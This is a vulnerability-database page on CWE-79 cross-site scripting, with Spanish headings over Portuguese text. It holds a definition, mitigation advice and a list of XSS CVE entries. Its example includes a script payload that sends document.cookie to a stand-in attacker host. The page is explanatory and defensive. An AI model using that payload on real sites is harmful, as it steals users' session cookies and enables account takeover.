Fallos del tipo CWE-79

29.284 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2023-23012MEDIUMCross Site Scripting (XSS) vulnerability in craigrodway classroombookings 2.6.4 allows attackers to execute arbitrary code or other unspecifEPSS 0.5%CVE-2024-28142MEDIUMStored cross site scriptingEPSS 0.5%CVE-2023-6890MEDIUMCross-site Scripting (XSS) - Stored in thorsten/phpmyfaqEPSS 0.5%CVE-2023-6889MEDIUMCross-site Scripting (XSS) - Stored in thorsten/phpmyfaqEPSS 0.5%CVE-2024-7301HIGHWordPress File Upload <= 4.24.8 - Unauthenticated Stored Cross-Site Scripting via SVG File UploadEPSS 0.5%CVE-2022-4541HIGHWordPress Visitors <= 1.0 - Unauthenticated Stored Cross-Site Scripting via HTTP HeaderEPSS 0.5%CVE-2023-5842MEDIUMCross-site Scripting (XSS) - Stored in dolibarr/dolibarrEPSS 0.5%CVE-2024-4646LOWCampcodes Complete Web-Based School Management System student_payment_details.php cross site scriptingEPSS 0.5%CVE-2026-30862CRITICALCritical Stored XSS & Privilege Escalation in AppsmithEPSS 0.5%CVE-2022-38550MEDIUMA stored cross-site scripting (XSS) vulnerability in the /weibo/list component of Jeesns v2.0.0 allows attackers to execute arbitrary web scEPSS 0.5%CVE-2023-41843HIGHA improper neutralization of input during web page generation ('cross-site scripting') vulnerability in Fortinet FortiSandbox 4.4.0 through EPSS 0.5%CVE-2015-10128LOWrt-prettyphoto Plugin rt-prettyphoto.php royal_prettyphoto_plugin_links cross site scriptingEPSS 0.5%CVE-2026-55791MEDIUMCraft CMS: Blind SSRF and Arbitrary JavaScript Injection via Host Header Poisoning in actionResourceJsEPSS 0.5%CVE-2026-16145HIGHInvisible Anti-Spam & CAPTCHA <= 5.1 - Unauthenticated Stored Cross-Site Scripting via 'action' ParameterEPSS 0.5%CVE-2024-2793HIGHVisual Website Collaboration, Feedback & Project Management – Atarim <= 3.30 - Unauthenticated Stored Cross-Site ScriptingEPSS 0.5%CVE-2022-31688MEDIUMVMware Workspace ONE Assist prior to 22.10 contains a Reflected cross-site scripting (XSS) vulnerability. Due to improper user input sanitizEPSS 0.5%CVE-2022-2725LOWSourceCodester Company Website CMS add-blog.php cross site scriptingEPSS 0.5%CVE-2026-27020MEDIUMPhotobooth has a XSS vulnerability in user inputEPSS 0.5%CVE-2024-39307LOWCross-Site Scripting (XSS) vulnerability via crafted ebooks in KavitaEPSS 0.5%CVE-2025-7946MEDIUMPHPGurukul Apartment Visitors Management System HTTP POST Request search-visitor.php cross site scriptingEPSS 0.5%